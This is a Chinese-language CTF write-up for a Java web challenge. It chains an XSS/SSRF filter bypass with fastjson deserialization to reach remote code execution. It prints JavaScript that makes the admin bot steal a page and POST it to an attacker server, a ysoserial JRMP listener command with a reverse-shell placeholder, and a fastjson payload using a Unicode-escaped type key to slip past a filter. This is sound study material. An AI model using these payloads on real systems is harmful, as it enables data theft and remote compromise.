感谢沉浸于工作的火日师傅抽空出的题,因为最近在学java安全,所以就自告奋勇和Muuu来测题,然后下图就十分应景,整体做完学到了很多ORz :
题目地址为:
http://treasure.npointer.cn/#home
我们会延续开放24h,有兴趣的可以做一遍。
下面我将尽可能地详细阐述整体的做题思路,以及中间踩到的坑。
0x01:XSS
首页发现功能只有两个,一个是hint,一个是submit,而hint页面内容如下:
那么肯定就是要管理员去请求了,接下来看源码中的js文件:
如果对ssrf题目比较熟悉的选手,应该一眼就可以看出可以用域名.的形式绕过,所以我们可以在vps上构造远程读取hint.html页面的js代码,然后提交给bot,让bot去访问,代码如下:
<script>
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest()
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for (var n = 0; n < MSXML.length; n++) {
try {
xmlHttp = new ActiveXObject(MSXML[n]);
break
} catch(e) {}
}
}
}
createXmlHttp();
xmlHttp.onreadystatechange = function(){
if (xmlHttp.readyState == 4) {
code=xmlHttp.responseText;
createXmlHttp();
url = "http://x.x.x.x:9001";
cc = window.btoa(code);
xmlHttp.open("POST", url, true);
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttp.send(cc)
}
};
xmlHttp.open("GET", "/hint.html", true);
xmlHttp.send(null);
</script>
提交给bot拿到源码:
解码后我们可以拿到题目源码,同时可以得知jdk是最新版本以及flag的位置。
0x02:fastjson的反序列化
首先我们要知道,在高本版的jdk下,我们不能远程加载类(默认没开),所以能利用的方式大致为两种,JNDI跟JRMP。
我在翻看了选手们的wp后,发现大部分都是利用了JDNI注入的LDAP去打的利用链,可以参照16年bh的议题:
言归正传,我们先来看控制器的方法:
十分标准的fastjson反序列化操作,然后我们在来看切面中匹配了type关键词,如果匹配到会导致失败异常退出:
if (input.toLowerCase().contains("type")) {return joinPoint.proceed(args);}
我们知道,在json中可以利用Unicode来进行解码,这里就利用Unicode绕过即可。
然后就是痛苦的找包过程,这里我用maven直接把pom.xml的依赖全部下到本地了,然后去看source code,然后就是痛苦的找包过程(其实如果有经验的选手,直接反编译后搜lookup就好了)。
先来看预期解,顺着pom.xml慢慢往下看,会发现其引用了commons-proxy:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-proxy</artifactId>
<version>1.0</version>
</dependency>
在org.apache.commons.proxy.provider.remoting.RmiProvider中,我们发现在getObject函数中调用了lookup函数,如下图:
我们知道,parseObject()在处理过程中会调用反序列化目标类的所有setter和getter方法,所以这里只需要我们构造一个JRMP SERVER就可以利用RMI触发。
然后再去看pom.xml,发现引用了commons-collections3.2
然后利用yso的commonscollections5打就好了
操作流程如下, 先在vps上启动JRMP:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections5 '反弹shell'
然后通过submit路由发送:
{"@/u0074ype":"org.apache.commons.proxy.provider.remoting.RmiProvider","host":"118.24.101.241",port:"1088","name":"Object"}
即可最后实现RCE
在我看来,这是最简单的一种做法,只需要启动一个JRMP SERVER来触发反序列化即可。
0x03:另外的做法
既然大部分选手都是用了org.apache.commons.proxy.provider.remoting.SessionBeanProvider这一个链去打,我们来看一下它的实现方法:
可以看到jnDi明显是我们可控的,于是一个典型的JNDI注入就出来了,当然依旧可以通过JRMP去RCE。
JRMP的利用方式跟上文中的一样。
JDNI注入的利用可参考这篇文章:
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html。
其中利用本地Class作为Reference Factory这种方法,在我本地尝试是OK的,但是苦于远程环境搭建过于麻烦...就没远程尝试,有兴趣的师傅可以试一下求告知Orz
在本地测试过程中,发现SessionBeanProvider会报autoType is not support,但为啥题目是可以打的呢?这是由于一个进程下fastjson的缓存原因,有兴趣的读者可以本地自行跟一下。
第一场内部赛预告
1.10日21:00正式开放
敬请期待:ghost: